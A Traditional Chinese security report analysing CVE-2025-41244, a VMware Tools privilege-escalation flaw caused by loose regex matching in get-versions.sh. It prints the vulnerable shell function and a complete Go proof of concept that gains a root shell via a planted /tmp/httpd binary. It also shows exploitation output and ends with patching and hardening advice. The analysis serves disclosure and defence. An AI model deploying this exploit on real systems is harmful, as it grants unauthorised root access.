摘要

本報告針對 CVE-2025-41244 提供了詳細的技術分析,此為一個影響 VMware Tools 和 VMware Aria Operations 的本機權限提升弱點。此弱點源於 open-vm-tools 內的服務探索功能,特別是 get-versions.sh shell script,它透過寬鬆的正規表達式匹配,不當地處理二進制檔案的執行。此瑕疵歸類在 CWE-426(Untrusted Search Path),允許非特權的本機攻擊者在使用者可寫入的目錄中植入 malicious payload ,導致其在特權環境下執行。本報告剖析了有弱點的程式碼、提出概念性驗證(PoC)的攻擊方式,並討論對系統安全的影響,強調在特權操作中安全地處理 Path 和嚴格的輸入驗證之重要性。

VMware Tools LPE 漏洞 (CVE-2025-41244):3 步驟驗證你的環境是否受影響 | 資訊安全新聞

1. 簡介

2025 年 9 月 29 日,一個重大的本機權限提升弱點被揭露,識別碼為 CVE-2025-41244,影響 VMware 的訪客服務探索功能 [1]。此弱點同時影響 VMware Tools 和 VMware Aria Operations,允許非特權使用者在特權環境(例如 root )下達成程式碼執行。自 2024 年 10 月中旬以來,已觀察到此弱點被用於實際環境攻擊,凸顯其關鍵性以及立即理解和更新的需求 [1]。本報告深入探討 CVE-2025-41244 的技術細節,分析其被攻擊的底層機制,並提供其潛在影響的見解。

2. 弱點的技術分析

CVE-2025-41244 的核心位於 open-vm-tools 服務探索功能中,特別是 get-versions.sh shell script。此 script 負責識別系統上運行的服務版本。此 script 的一個關鍵元件是 get_version 函數,它接受正規表達式模式和版本命令作為參數 [1]。

2.1. get_version 函數

get_version 函數會找出一系列帶有監聽 socket 的程序 ID( $space_separated_pids )。對於每個程序,它嘗試將該程序的命令列與提供的正規表達式模式進行匹配。如果找到匹配項,它會對已識別的二進制檔案呼叫相關的版本命令,以取得其版本資訊 [1]。

get_version 函數的相關片段如下:

  1. get_version() {
  2. PATTERN=$1
  3. VERSION_OPTION=$2
  4. for p in $space_separated_pids
  5. do
  6. COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
  7. [ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
  8. done
  9. }

程式碼分析:

  • PATTERN=$1 VERSION_OPTION=$2 :這些行將傳遞給函數的第一個和第二個參數分別賦值給變數 PATTERN VERSION_OPTION
  • for p in $space_separated_pids :此迴圈找出具有監聽 socket 的程序 ID( p )。
  • COMMAND=$(get_command_line $p | grep -Eo "$PATTERN") :這是關鍵行。它找出程序 $p 的命令列,然後使用 grep -Eo 提取匹配提供的 $PATTERN 的子字串。 -E 旗標啟用延伸正規表達式,而 -o 僅列印匹配的部分。
  • [ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND :如果找到命令( ! -z "$COMMAND" ),它會建構一個輸出字串。關鍵部分是 "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" 。在這裡, ${COMMAND%%[[:space:]]*} 提取匹配到的命令的第一個字(假設為二進制檔案 Path ),然後使用 $VERSION_OPTION 執行它。 2>&1 將標準錯誤重新導向到標準輸出。

2.2. 寬鬆的正規表達式匹配與 CWE-426

此弱點源於 get_version 函數所使用的過於寬鬆的正規表達式模式。雖然這些模式旨在匹配合法的系統二進制檔案(例如 /usr/bin/httpd ),但它們通常採用 \S 字元類別,該類別匹配任何非空白 character 。這種寬鬆的匹配無意中包含了位於使用者可寫入目錄中的非系統二進制檔案,例如 /tmp/httpd [1]。

此類寬鬆模式的範例包括:

get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
get_version "/\S+/mysqld($|\s)" -V
get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v

這種情境構成了經典的 CWE-426: Untrusted Search Path 範例 [1, 2, 3]。在這個弱點中,應用程式使用可被攻擊者操縱的 Path 來搜尋關鍵資源(在本例中為服務二進制檔案)。透過在一個符合這些寬鬆正規表達式的使用者可寫入位置植入惡意二進制檔案,非特權攻擊者可以欺騙具有特權的 get-versions.sh script 執行其惡意程式碼。該 script 以提升的權限運行,進而執行攻擊者的二進制檔案,導致權限提升。

2.3. 弱點流程圖

以下 Mermaid 圖表說明了權限提升弱點的流程:

graph TD A[Unprivileged User] --> B(Stage Malicious Binary in Writable Dir e.g., /tmp/httpd) B --> C(Malicious Binary runs with Listening Socket) C --> D(VMware Service Discovery get-versions.sh runs) D --> E(get_version function loops through processes) E --> F(Matches Malicious Binary with Broad Regex) F --> G(Invokes Malicious Binary with Privileged Context) G --> H(Privilege Escalation Achieved)

3. 概念性驗證 (PoC) 分析

原始文章提供了一個簡潔的 Go 語言概念性驗證(PoC)來演示權限提升 [1]。這個名為 CVE-2025-41244.go 的 PoC,旨在被編譯並放置在符合其中一個有弱點的正規表達式的使用者可寫入目錄(例如 /tmp/httpd )中。當由非特權使用者執行並帶有監聽 socket 時,它會等待 VMware 服務探索以特權參數呼叫它,隨後產生一個 root shell

3.1. PoC 程式碼結構

這個 Go PoC 包含三個主要函數: main serve connect

  1. package main
  2. import (
  3. "fmt"
  4. "io"
  5. "net"
  6. "os"
  7. "os/exec"
  8. )
  9. func main() {
  10. // If started with an argument (e.g., -v or --version), assume we're the privileged process.
  11. // Otherwise, assume we're the unprivileged process.
  12. if len(os.Args) >= 2 {
  13. if err := connect(); err != nil {
  14. panic(err)
  15. }
  16. } else {
  17. if err := serve(); err != nil {
  18. panic(err)
  19. }
  20. }
  21. }
  22. func serve() error {
  23. // Open a dummy listener, ensuring the service can be discovered.
  24. dummy, err := net.Listen("tcp", "127.0.0.1:0")
  25. if err != nil {
  26. return err
  27. }
  28. defer dummy.Close()
  29. // Open a listener to exchange stdin, stdout and stderr streams.
  30. l, err := net.Listen("unix", "@cve")
  31. if err != nil {
  32. return err
  33. }
  34. defer l.Close()
  35. // Loop privilege escalations, but don't do concurrency.
  36. for {
  37. if err := handle(l); err != nil {
  38. return err
  39. }
  40. }
  41. }
  42. func handle(l net.Listener) error {
  43. // Wait for the privileged stdin, stdout and stderr streams.
  44. fmt.Println("Waiting on privileged process...")
  45. stdin, err := l.Accept()
  46. if err != nil {
  47. return err
  48. }
  49. defer stdin.Close()
  50. stdout, err := l.Accept()
  51. if err != nil {
  52. return err
  53. }
  54. defer stdout.Close()
  55. stderr, err := l.Accept()
  56. if err != nil {
  57. return err
  58. }
  59. defer stderr.Close()
  60. // Interconnect stdin, stdout and stderr.
  61. fmt.Println("Connected to privileged process!")
  62. errs := make(chan error, 3)
  63. go func() {
  64. _, err := io.Copy(os.Stdout, stdout)
  65. errs <- err
  66. }()
  67. go func() {
  68. _, err := io.Copy(os.Stderr, stderr)
  69. errs <- err
  70. }()
  71. go func() {
  72. _, err := io.Copy(stdin, os.Stdin)
  73. errs <- err
  74. }()
  75. // Abort as soon as any of the interconnected streams fails.
  76. _ = <-errs
  77. return nil
  78. }
  79. func connect() error {
  80. // Define the privileged shell to execute.
  81. cmd := exec.Command("/bin/sh", "-i")
  82. // Connect to the unprivileged process
  83. stdin, err := net.Dial("unix", "@cve")
  84. if err != nil {
  85. return err
  86. }
  87. defer stdin.Close()
  88. stdout, err := net.Dial("unix", "@cve")
  89. if err != nil {
  90. return err
  91. }
  92. defer stdout.Close()
  93. stderr, err := net.Dial("unix", "@cve")
  94. if err != nil {
  95. return err
  96. }
  97. defer stderr.Close()
  98. // Interconnect stdin, stdout and stderr.
  99. fmt.Fprintln(stdout, "Starting privileged shell...")
  100. cmd.Stdin = stdin
  101. cmd.Stdout = stdout
  102. cmd.Stderr = stderr
  103. return cmd.Run()
  104. }

3.2. PoC 執行流程

PoC 根據命令列參數以兩種不同的模式運行:

  1. 非特權模式( serve() 函數): 當 PoC 在沒有參數的情況下執行時(例如 /tmp/httpd ),它進入 serve() 函數。此函數執行兩個關鍵動作:
    • 它在 127.0.0.1:0 上開啟一個虛擬的 TCP 監聽器。這確保了惡意二進制檔案看起來是一個帶有監聽 socket 的程序,使其可被 get-versions.sh script 探索到。
    • 然後,它開啟一個名為 @cve 的 Unix domain socket 監聽器。此 socket 用於在非特權 PoC 和未來的特權程序之間交換標準輸入、輸出和錯誤串流。
    • handle() 函數持續等待此 Unix socket 上的連線,表示特權程序已嘗試連線。
  2. 特權模式( connect() 函數): 當 VMware 服務探索 script 以一個參數(例如 /tmp/httpd -v )呼叫惡意二進制檔案時,PoC 進入 connect() 函數。此函數:
    • 定義一個執行特權 shell /bin/sh -i )的命令。
    • 連線到由非特權 PoC 開啟的 Unix domain socket @cve )。
    • 將特權 shell 的標準輸入、輸出和錯誤重新導向到已連線的 Unix socket 串流。這有效地在特權 shell 和非特權 PoC 之間建立了一個通訊通道。
    • 執行特權 shell ,賦予非特權使用者一個 root shell

原始文章展示了成功攻擊的輸出 [1]:

nobody@nviso:/tmp$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@nviso:/tmp$ /tmp/httpd
Waiting on privileged process...
Connected to privileged process!
Starting privileged shell...
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#

此輸出清楚地顯示非特權使用者( nobody )透過執行植入的惡意二進制檔案成功提升到 root 權限( uid=0(root) )。

4. 影響與更新方式

CVE-2025-41244 的影響是重大的,因為它允許任何在有漏洞的 VMware 訪客系統上的非特權本機使用者獲得 root 權限。這可能導致完整的系統遭駭、資料外洩,或在虛擬化環境中進一步的橫向移動。此弱點影響 VMware Aria Operations 和 VMware Tools 中基於 Credential 和無 Credential 的服務探索模式 [1]。

4.1. 程序樹分析

文章提供了基於 Credential 和無 Credential 服務探索情境的程序樹範例,說明惡意二進制檔案是如何在特權環境下執行的 [1]。

基於 Credential 的服務探索:

UID          PID    PPID  C STIME TTY          TIME CMD
root         806       1  0 08:54 ?        00:00:21 /usr/bin/vmtoolsd
root       80617     806  0 13:20 ?        00:00:00  \_ /usr/bin/vmtoolsd
root       80618   80617  0 13:20 ?        00:00:00      \_ /bin/sh /tmp/VMware-SDMP-Scripts-193-fb2553a0-d63c-44e5-90b3-e1cda71ae24c/script_-2870255543355612342_0.sh
root       80621   80618  0 13:20 ?        00:00:00          \_ /tmp/httpd -v
root       80626   80621  0 13:20 ?        00:00:00              \_ /bin/sh -i
root       81087   80626 50 13:22 ?        00:00:00                  \_ ps -ef --forest

在這個情境中, /usr/bin/vmtoolsd (以 root 運行)產生一個 shell script,該 script 接著以 root 權限執行惡意的 /tmp/httpd -v ,導致特權 shell

Credential 的服務探索:

UID          PID    PPID  C STIME TTY          TIME CMD
root       10660       1  0 13:42 ?        00:00:00 /bin/sh /usr/lib/x86_64-linux-gnu/open-vm-tools/serviceDiscovery/scripts/get-versions.sh
root       10688   10660  0 13:42 ?        00:00:00  \_ /tmp/httpd -v
root       10693   10688  0 13:42 ?        00:00:00      \_ /bin/sh -i
root       11038   10693  0 13:44 ?        00:00:00          \_ ps -ef --forest

同樣地,在無 Credential 模式下,以 root 執行的 get-versions.sh script 直接呼叫惡意的 /tmp/httpd -v ,導致權限提升。

4.2. 更新策略

為了修補 CVE-2025-41244,解決根本原因:Untrusted Search Path 和寬鬆的正規表達式匹配至關重要。主要的修補方式涉及應用 VMware/Broadcom 提供的更新。這些更新可能會預設關閉 get-versions.sh script 的執行,或收緊正規表達式以防止匹配使用者可寫入 Path 中的二進制檔案 [4]。

預防類似弱點的一般最佳實務包括:

  • 嚴格的 Path 驗證: 在呼叫可執行檔之前,特別是在特權環境中,始終驗證它們的 Path 。確保只搜尋受信任、由系統控制的目錄。
  • 最小權限: 以最低必要的權限運行服務和 script。如果一個 script 的核心功能不需要 root 權限,則不應以 root 執行。
  • 安全編程實務: 在匹配可執行 Path 時,避免使用 \S+ 等寬鬆的正規表達式。對允許的目錄和 File 名稱保持明確。
  • 環境強化: 限制對關鍵系統目錄的寫入 Access ,並確保使用者可寫入的目錄(如 /tmp )在可能的情況下以 noexec 掛載。

5. 結論

CVE-2025-41244 代表了 VMware 服務探索機制中的一個重大本機權限提升弱點。透過利用 Untrusted Search Path (CWE-426) 和寬鬆定義的正規表達式,非特權攻擊者可以以提升的權限執行任意程式碼。對 get_version 函數的詳細分析以及提供的 Go PoC 清楚地說明了可攻擊性。有效的修補需要立即對受影響的系統進行更新,並堅持安全編程和系統強化實務,以防止未來出現類似的弱點。